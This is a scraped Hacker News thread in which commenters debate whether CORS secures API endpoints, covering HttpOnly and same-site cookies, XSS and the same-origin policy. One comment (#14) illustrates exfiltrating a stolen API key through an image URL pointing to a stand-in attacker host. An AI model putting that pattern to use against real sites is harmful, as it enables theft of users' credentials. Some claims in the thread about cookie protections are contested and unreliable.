Live data from Hacker News

CORS is not meant to secure an API endpoint

nikofischer.com

11–20 of 162 posts

Re: CORS is not meant to secure an API endpoint

#11
post #8
post #7

Earlier quoted context omitted.

That last argument you're making there is not valid in my opinion. Security is built by layers and the reason we use HttpOnly cookies is to still have protection even if malicious javascript steals a cookie.

How does it protect the user? If there is a XSS vulnerability I can do anything in your name anyways. Stealing the cookie is not necessary.

You can do anything until I close a page. Stealing cookie might allow you to continue after that.

Re: CORS is not meant to secure an API endpoint

#12
post #8
post #7

Earlier quoted context omitted.

That last argument you're making there is not valid in my opinion. Security is built by layers and the reason we use HttpOnly cookies is to still have protection even if malicious javascript steals a cookie.

How does it protect the user? If there is a XSS vulnerability I can do anything in your name anyways. Stealing the cookie is not necessary.

But you wrote “same-site” :) It will protect against XSS.

Re: CORS is not meant to secure an API endpoint

#13
post #3

Even this article gets it wrong: CORS does not protect you in any way. It‘s a relaxation of the SOP! Thus it decreases security.

That’s oversimplified to the point of being extremely misleading. Under SOP, the way you loaded third-party data (not code) was JSONP, where (oops!) you’re actually loading third-party code but you just cross your fingers and hope the third party doesn’t deliver you any nefarious code.

Re: CORS is not meant to secure an API endpoint

#14
post #8
post #7

Earlier quoted context omitted.

That last argument you're making there is not valid in my opinion. Security is built by layers and the reason we use HttpOnly cookies is to still have protection even if malicious javascript steals a cookie.

How does it protect the user? If there is a XSS vulnerability I can do anything in your name anyways. Stealing the cookie is not necessary.

In the browser, yes. But when you steal an API key I can send it to an external server ()and" rel="nofollow">https://eve.com/pixel.jpg?apikey=...">)and exploit and impersonate the user without anyone knowing about it and without collaboration of the web browser.

Re: CORS is not meant to secure an API endpoint

#15
post #9

CORS is confusing to understand because the kind of attack it protects against is confusing. CORS does not protect endpoints against malicious clients, since you can always just make the same request outside of a browser. And it doesn't protect any site from making or receiving cross-site requests, since CORS can always be disabled on the server side. CORS protect against the scenario where a malicious site tricks an…

Again, CORS does not protect, the SOP does :-)

Re: CORS is not meant to secure an API endpoint

#18
post #6

What is missing is a guide how to replace the bad pattern bey a good one. Add a function that the user can login, create his individual API key, and store in a a secure way on his client (e.g. any credential store)

httpOnly secure same-site cookie. Even storing a session token in localStorage is not a problem if you‘re protected against xss (if your not, nothing else will protect you anyway)

The first line is correct.

The second has no value because you are either using techniques that are not vulnerable by XSS or not. “same-site” cookie is one of them.

Re: CORS is not meant to secure an API endpoint

#19
post #8

Earlier quoted context omitted.

How does it protect the user? If there is a XSS vulnerability I can do anything in your name anyways. Stealing the cookie is not necessary.

You can do anything until I close a page. Stealing cookie might allow you to continue after that.

I will have done anything I want to within one second of you logging in. There is no need for later attacks

Re: CORS is not meant to secure an API endpoint

#20
post #8

Earlier quoted context omitted.

How does it protect the user? If there is a XSS vulnerability I can do anything in your name anyways. Stealing the cookie is not necessary.

But you wrote “same-site” :) It will protect against XSS.

No XSS is another class of vulnerabilities
Post reply on HN